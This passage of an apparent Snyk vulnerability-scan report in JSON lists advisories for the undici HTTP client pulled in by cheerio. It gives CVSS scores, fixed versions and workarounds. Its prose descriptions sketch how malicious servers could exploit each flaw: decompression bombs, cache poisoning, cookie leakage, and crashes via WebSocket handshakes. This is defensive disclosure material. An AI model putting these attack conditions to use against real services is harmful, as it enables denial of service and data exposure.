"description": "## Overview\n[undici](https://www.npmjs.org/package/undici) is an An HTTP/1.1 client, written from scratch for Node.js\n\nAffected versions of this package are vulnerable to Missing Release of Resource after Effective Lifetime in the `RetryHandler`, which can leave a response body pending indefinitely when a retried request receives a non-retryable response after a truncated one. An attacker can accumulate unresolved promises and streams until the client is denied service by running a malicious server that repeatedly returns a non-retryable response following a truncated one, so the original response body never resolves and calls like `response.body.text()` never complete. This requires the application to retry requests through the `RetryHandler`, and `bodyTimeout` does not fire because the orphaned body is never active.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by imposing an independent request deadline and destroying the response body when it expires, since `bodyTimeout` alone does not release the orphaned body.\n## Remediation\nUpgrade `undici` to version 7.29.1, 8.10.2 or higher.\n## References\n- [GitHub Advisory](https://github.com/nodejs/undici/security/advisories/GHSA-pmjh-fq2x-6v4x)\n- [GitHub Commit](https://github.com/nodejs/undici/commit/3c6726599cea8646384dde846c97d630da472a74)\n",
"epssDetails": {
"percentile": "0.29771",
"probability": "0.00360",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-18149"
],
"CWE": [
"CWE-772"
],
"GHSA": [
"GHSA-pmjh-fq2x-6v4x"
]
},
"packageName": "undici",
"proprietary": false,
"creationTime": "2026-09-06T08:12:11.357127Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-04T18:33:10Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-06T08:12:11.543700Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-18T14:03:16.893521Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"rag-builder@1.0.0",
"cheerio@1.1.2",
"undici@7.16.0"
],
"upgradePath": [
false,
"cheerio@1.1.2",
"undici@7.30.1"
],
"isUpgradable": true,
"isPatchable": false,
"name": "undici",
"version": "7.16.0"
},
{
"id": "SNYK-JS-UNDICI-19635208",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
">=7.15.0 <7.29.1",
">=8.0.0 <8.10.2"
]
},
"exploit": "Not Defined",
"fixedIn": [
"7.29.1",
"8.10.2"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.2,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "undici",
"references": [
{
"url": "https://github.com/nodejs/undici/security/advisories/GHSA-3xpg-4rpp-hhhm",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/nodejs/undici/commit/2c7d7e1227043c644c4c32cfd1e276f4fd4fcb11",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-05T05:59:20.900855Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.2,
"cvssVersion": "4.0",
"modificationTime": "2026-09-24T14:20:00.379922Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-24T14:20:00.379922Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-05T05:59:20.900855Z"
}
],
"description": "## Overview\n[undici](https://www.npmjs.org/package/undici) is an An HTTP/1.1 client, written from scratch for Node.js\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `interceptors.decompress()` interceptor, which caps the decompression chain at 5 layers but does not bound the total decompressed output size. An attacker can exhaust memory and crash the process by delivering, from a malicious upstream, a small compressed response whose `Content-Encoding` expands to gigabytes. This requires the application to use the `interceptors.decompress()` interceptor against untrusted or compromised upstream servers.\n## Remediation\nUpgrade `undici` to version 7.29.1, 8.10.2 or higher.\n## References\n- [GitHub Advisory](https://github.com/nodejs/undici/security/advisories/GHSA-3xpg-4rpp-hhhm)\n- [GitHub Commit](https://github.com/nodejs/undici/commit/2c7d7e1227043c644c4c32cfd1e276f4fd4fcb11)\n",
"epssDetails": {
"percentile": "0.32688",
"probability": "0.00412",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-84890"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-3xpg-4rpp-hhhm"
]
},
"packageName": "undici",
"proprietary": false,
"creationTime": "2026-09-06T08:14:55.288523Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-04T18:33:29Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-06T08:14:55.522204Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-24T14:20:00.379922Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"rag-builder@1.0.0",
"cheerio@1.1.2",
"undici@7.16.0"
],
"upgradePath": [
false,
"cheerio@1.1.2",
"undici@7.30.1"
],
"isUpgradable": true,
"isPatchable": false,
"name": "undici",
"version": "7.16.0"
},
{
"id": "SNYK-JS-UNDICI-19635210",
"title": "Uncaught Exception",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"manus-use"
],
"semver": {
"vulnerable": [
">=6.7.0 <6.28.1",
">=7.0.0 <7.29.1",
">=8.0.0 <8.10.2"
]
},
"exploit": "Not Defined",
"fixedIn": [
"6.28.1",
"7.29.1",
"8.10.2"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "undici",
"references": [
{
"url": "https://github.com/nodejs/undici/security/advisories/GHSA-rfgv-xxqx-mfg5",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/nodejs/undici/commit/6615e0175e9b635bcd2e3e87a47daa82f6f5b728",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-05T06:00:38.525346Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-06T08:34:03.582694Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-06T08:34:03.582694Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-05T06:00:38.525346Z"
}
],
"description": "## Overview\n[undici](https://www.npmjs.org/package/undici) is an An HTTP/1.1 client, written from scratch for Node.js\n\nAffected versions of this package are vulnerable to Uncaught Exception in its WebSocket client, in the form of a `TypeError` inside a `queueMicrotask` callback when a server's 101 response carries a `Sec-WebSocket-Protocol` header the client never requested. An attacker can crash the process by returning a 101 handshake response that names a subprotocol the client did not offer. This requires the application to open a WebSocket without requesting a subprotocol to an attacker-controlled or compromised server, or over plaintext `ws://` where a MitM can alter the handshake.\n## Remediation\nUpgrade `undici` to version 6.28.1, 7.29.1, 8.10.2 or higher.\n## References\n- [GitHub Advisory](https://github.com/nodejs/undici/security/advisories/GHSA-rfgv-xxqx-mfg5)\n- [GitHub Commit](https://github.com/nodejs/undici/commit/6615e0175e9b635bcd2e3e87a47daa82f6f5b728)\n",
"epssDetails": {
"percentile": "0.32575",
"probability": "0.00394",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-19534"
],
"CWE": [
"CWE-248"
],
"GHSA": [
"GHSA-rfgv-xxqx-mfg5"
]
},
"packageName": "undici",
"proprietary": false,
"creationTime": "2026-09-06T08:30:56.044805Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-04T18:33:52Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-06T08:30:56.331884Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-06T08:34:03.582694Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"rag-builder@1.0.0",
"cheerio@1.1.2",
"undici@7.16.0"
],
"upgradePath": [
false,
"cheerio@1.1.2",
"undici@7.30.1"
],
"isUpgradable": true,
"isPatchable": false,
"name": "undici",
"version": "7.16.0"
},
{
"id": "SNYK-JS-UNDICI-19635216",
"title": "Use of Persistent Cookies Containing Sensitive Information",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
">=7.0.0 <7.29.1",
">=8.0.0 <8.10.2"
]
},
"exploit": "Not Defined",
"fixedIn": [
"7.29.1",
"8.10.2"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.3,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "undici",
"references": [
{
"url": "https://github.com/nodejs/undici/security/advisories/GHSA-2jfj-6hjv-fm6j",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/nodejs/undici/commit/b6c5a00252c37da9dd2db9bead053bb843e1f988",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-09-05T05:59:00.933369Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N",
"cvssV3BaseScore": 8.2,
"modificationTime": "2026-09-16T01:29:39.069329Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.3,
"cvssVersion": "4.0",
"modificationTime": "2026-10-01T02:01:15.611183Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.2,
"cvssVersion": "3.1",
"modificationTime": "2026-10-01T02:01:15.611183Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-05T05:59:00.933369Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N",
"assigner": "NVD",
"severity": "high",
"baseScore": 8.2,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T01:29:39.069329Z"
}
],
"description": "## Overview\n[undici](https://www.npmjs.org/package/undici) is an An HTTP/1.1 client, written from scratch for Node.js\n\nAffected versions of this package are vulnerable to Use of Persistent Cookies Containing Sensitive Information in the `interceptors.cache()` interceptor's shared-cache mode (`type: 'shared'`), which stores responses without excluding their `Set-Cookie` headers, contrary to RFC 6265 section 7.2. An attacker can have one user's cookie served to every subsequent caller matching the same cache key, or inject an upstream-supplied cookie into responses served to all callers, by getting a cacheable response that carries a `Set-Cookie` header cached. This requires the shared-cache mode, which is the default for the cache interceptor, with cacheable `Set-Cookie` responses from a multi-user or untrusted upstream, and private caches are unaffected.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by running the cache interceptor in private mode (`type: 'private'`), so per-user `Set-Cookie` responses are not shared across callers.\n## Remediation\nUpgrade `undici` to version 7.29.1, 8.10.2 or higher.\n## References\n- [GitHub Advisory](https://github.com/nodejs/undici/security/advisories/GHSA-2jfj-6hjv-fm6j)\n- [GitHub Commit](https://github.com/nodejs/undici/commit/b6c5a00252c37da9dd2db9bead053bb843e1f988)\n",
"epssDetails": {
"percentile": "0.20774",
"probability": "0.00303",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-84933"
],
"CWE": [
"CWE-539"
],
"GHSA": [
"GHSA-2jfj-6hjv-fm6j"
]
},
"packageName": "undici",
"proprietary": false,
"creationTime": "2026-09-06T08:54:58.064511Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-04T18:34:08Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-06T08:54:58.303009Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-01T02:01:15.611183Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"rag-builder@1.0.0",
"cheerio@1.1.2",
"undici@7.16.0"
],
"upgradePath": [
false,
"cheerio@1.1.2",
"undici@7.30.1"
],
"isUpgradable": true,
"isPatchable": false,
"name": "undici",
"version": "7.16.0"
},
{
"id": "SNYK-JS-UNDICI-19635222",
"title": "Uncaught Exception",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"haoxiang Yan"
],
"semver": {
"vulnerable": [
">=7.0.0 <7.29.1",
">=8.0.0 <8.10.2"
]
},
"exploit": "Not Defined",
"fixedIn": [
"7.29.1",
"8.10.2"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.2,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "undici",
"references": [
{
"url": "https://github.com/nodejs/undici/security/advisories/GHSA-rx4f-c7p8-82vq",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/nodejs/undici/commit/1858656ebb1e919311c1f31613dfd581b7214349",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-05T05:58:38.914417Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-16T01:29:39.197932Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.2,
"cvssVersion": "4.0",
"modificationTime": "2026-10-01T02:01:15.612788Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-01T02:01:15.612788Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-05T05:58:38.914417Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T01:29:39.197932Z"
}
],
"description": "## Overview\n[undici](https://www.npmjs.org/package/undici) is an An HTTP/1.1 client, written from scratch for Node.js\n\nAffected versions of this package are vulnerable to Uncaught Exception in the `WebSocketStream` API, whose socket-close handler calls `abort()` on the writable stream while the application holds a writer lock and then discards the rejected promise that aborting a locked stream returns. An attacker can crash the process through Node's default `unhandledRejection` handling by tearing down a WebSocket connection without completing the close handshake, for example with a TCP reset, a proxy teardown, or a protocol-violating frame. This requires the application to use the `WebSocketStream` API while actively writing through a writer, and the server to be attacker-controlled or compromised.\n## Remediation\nUpgrade `undici` to version 7.29.1, 8.10.2 or higher.\n## References\n- [GitHub Advisory](https://github.com/nodejs/undici/security/advisories/GHSA-rx4f-c7p8-82vq)\n- [GitHub Commit](https://github.com/nodejs/undici/commit/1858656ebb1e919311c1f31613dfd581b7214349)\n",
"epssDetails": {
"percentile": "0.28218",
"probability": "0.00368",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-85014"
],
"CWE": [
"CWE-248"
],
"GHSA": [
"GHSA-rx4f-c7p8-82vq"
]
},
"packageName": "undici",
"proprietary": false,
"creationTime": "2026-09-06T09:08:09.853296Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-04T18:35:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-06T09:08:10.024752Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-01T02:01:15.612788Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"rag-builder@1.0.0",
"cheerio@1.1.2",
"undici@7.16.0"
],
"upgradePath": [
false,
"cheerio@1.1.2",
"undici@7.30.1"
],
"isUpgradable": true,
"isPatchable": false,
"name": "undici",
"version": "7.16.0"
},
{
"id": "SNYK-JS-UNDICI-21181005",
"title": "Improper Certificate Validation",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
"credit": [
"Eurico Nicacio",
"Sanjeev Kumar",
"BlueN0r"
],
"semver": {
"vulnerable": [
">=4.0.0 <6.29.1",
">=7.0.0 <7.30.1",
">=8.0.0 <8.12.2"
]
},
"exploit": "Not Defined",
"fixedIn": [
"6.29.1",
"7.30.1",
"8.12.2"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "critical",
"cvssScore": 9.1,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "undici",
"references": [
{
"url": "https://github.com/nodejs/undici/security/advisories/GHSA-2m5v-pch6-74hx",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/nodejs/undici/commit/f75eac00ac177f7b2e6c8bfbd52d4113164286e6",
"title": "GitHub Commit"
},
{
"url": "https://cna.openjsf.org/security-advisories.html",
"title": "Vendor Advisory"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "critical",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"cvssV3BaseScore": 9.1,
"modificationTime": "2026-10-20T01:34:20.281545Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
"cvssV3BaseScore": 7.4,
"modificationTime": "2026-10-16T06:34:24.655703Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "critical",
"baseScore": 9.1,
"cvssVersion": "4.0",
"modificationTime": "2026-10-20T01:35:47.923864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.4,
"cvssVersion": "3.1",
"modificationTime": "2026-10-20T01:35:47.923864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"assigner": "NVD",
"severity": "critical",
"baseScore": 9.1,
"cvssVersion": "3.1",
"modificationTime": "2026-10-20T01:34:20.281545Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.4,
"cvssVersion": "3.1",
"modificationTime": "2026-10-16T06:34:24.655703Z"
}
],
"description": "## Overview\n[undici](https://www.npmjs.org/package/undici) is an An HTTP/1.1 client, written from scratch for Node.js\n\nAffected versions of this package are vulnerable to Improper Certificate Validation via the `Agent` constructor in `lib/dispatcher/agent.js`, where TLS options passed as the `tls` parameter are silently dropped and never stored in `kOptions`. Because the `tls` field is not destructured and forwarded to the internal options object, any TLS configuration supplied by the caller - including custom CA certificates, certificate pinning, or hostname verification overrides - is ignored when connections are established. An attacker positioned on the network can exploit the resulting absence of TLS constraints to perform a MitM attack, intercepting or modifying HTTPS traffic that the caller believed was protected by the supplied TLS settings.\n\n## Workaround\n\nUsers who are not able to upgrade to the fixed version are advised to pass the TLS options through connect instead of tls. For proxied `EnvHttpProxyAgent` destinations, use `requestTls / proxyTls`.\n## Remediation\nUpgrade `undici` to version 6.29.1, 7.30.1, 8.12.2 or higher.\n## References\n- [GitHub Advisory](https://github.com/nodejs/undici/security/advisories/GHSA-2m5v-pch6-74hx)\n- [GitHub Commit](https://github.com/nodejs/undici/commit/f75eac00ac177f7b2e6c8bfbd52d4113164286e6)\n- [Vendor Advisory](https://cna.openjsf.org/security-advisories.html)\n",
"epssDetails": {
"percentile": "0.07019",
"probability": "0.00180",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-109383"
],
"CWE": [
"CWE-295"
],
"GHSA": [
"GHSA-2m5v-pch6-74hx"
]
},
"packageName": "undici",
"proprietary": false,
"creationTime": "2026-10-18T11:12:43.591600Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-10-15T21:59:00.559000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-10-18T11:12:43.778208Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-20T01:35:47.923864Z",
"socialTrendAlert": false,
"severityWithCritical": "critical",
"from": [
"rag-builder@1.0.0",
"cheerio@1.1.2",
"undici@7.16.0"
],
"upgradePath": [
false,
"cheerio@1.1.2",
"undici@7.30.1"
],
"isUpgradable": true,
"isPatchable": false,
"name": "undici",
"version": "7.16.0"
},
{
"id": "SNYK-JS-UNDICI-21181009",
"title": "Origin Validation Error",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
"credit": [
"Kushal Khemka",
"Mayank Jangid",
"bengsky13"
],
"semver": {
"vulnerable": [
">=7.0.0 <7.30.1",
">=8.0.0 <8.12.2"
]
},
"exploit": "Not Defined",
"fixedIn": [
"7.30.1",
"8.12.2"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "critical",
"cvssScore": 9.1,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "undici",
"references": [
{
"url": "https://github.com/nodejs/undici/security/advisories/GHSA-4w7w-5xrc-9h26",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/nodejs/undici/commit/26c2bfb3def0b67241ce878e80657ed5d6c3efa8",
"title": "GitHub Commit"
},
{
"url": "https://cna.openjsf.org/security-advisories.html",
"title": "Vendor Advisory"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "critical",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"cvssV3BaseScore": 9.1,
"modificationTime": "2026-10-20T01:34:20.110335Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
"cvssV3BaseScore": 7.4,
"modificationTime": "2026-10-16T06:34:18.379105Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "critical",
"baseScore": 9.1,
"cvssVersion": "4.0",
"modificationTime": "2026-10-20T01:35:47.877149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.4,
"cvssVersion": "3.1",
"modificationTime": "2026-10-20T01:35:47.877149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"assigner": "NVD",
"severity": "critical",
"baseScore": 9.1,
"cvssVersion": "3.1",
"modificationTime": "2026-10-20T01:34:20.110335Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.4,
"cvssVersion": "3.1",
"modificationTime": "2026-10-16T06:34:18.379105Z"
}
],
"description": "## Overview\n[undici](https://www.npmjs.org/package/undici) is an An HTTP/1.1 client, written from scratch for Node.js\n\nAffected versions of this package are vulnerable to Origin Validation Error via cross-origin redirect handling in `CacheHandler.onResponseStart`, where a redirect to a different origin can cause the final response to be stored under the original (trusted) origin's cache key. An attacker who controls a redirect target can poison the shared cache by serving a response that gets keyed against a URL the application trusts, enabling subsequent cache-served responses to deliver attacker-controlled content. Additionally, intermediate redirect hops carrying restrictive `Cache-Control` directives (such as `no-store` or `private`) are not honored, allowing those hops to be laundered into a cacheable entry under the original key.\n\n**Note:** This is only exploitable when an originless `Agent`, a shared `MemoryCacheStore` or `SqliteCacheStore`, and the composition `compose(redirect(), cache())` are all used.\n## Remediation\nUpgrade `undici` to version 7.30.1, 8.12.2 or higher.\n## References\n- [GitHub Advisory](https://github.com/nodejs/undici/security/advisories/GHSA-4w7w-5xrc-9h26)\n- [GitHub Commit](https://github.com/nodejs/undici/commit/26c2bfb3def0b67241ce878e80657ed5d6c3efa8)\n- [Vendor Advisory](https://cna.openjsf.org/security-advisories.html)\n",
"epssDetails": {
"percentile": "0.03588",
"probability": "0.00148",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-109829"
],
"CWE": [
"CWE-346"
],
"GHSA": [
"GHSA-4w7w-5xrc-9h26"
]
},
"packageName": "undici",
"proprietary": false,
"creationTime": "2026-10-18T11:14:15.451684Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-10-15T21:58:58.129000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-10-18T11:14:15.622241Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-20T01:35:47.877149Z",
"socialTrendAlert": false,
"severityWithCritical": "critical",
"from": [
"rag-builder@1.0.0",
"cheerio@1.1.2",
"undici@7.16.0"
],
"upgradePath": [
false,
"cheerio@1.1.2",
"undici@7.30.1"
],
"isUpgradable": true,
"isPatchable": false,
"name": "undici",
"version": "7.16.0"
},
{
"id": "SNYK-JS-UNDICI-21181011",
"title": "Improper Handling of Case Sensitivity",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N",
"credit": [
"Kushal Khemka",
"Mayank Jangid"
],
"semver": {
"vulnerable": [
">=7.15.0 <7.30.1",
">=8.0.0 <8.12.2"
]
},
"exploit": "Not Defined",
"fixedIn": [
"7.30.1",
"8.12.2"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.2,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "undici",
"references": [
{
"url": "https://github.com/nodejs/undici/security/advisories/GHSA-f72v-6w45-q472",
"title": "GitHub Advisory"
},
{
"url": "https://cna.openjsf.org/security-advisories.html",
"title": "Vendor Advisory"
}
],
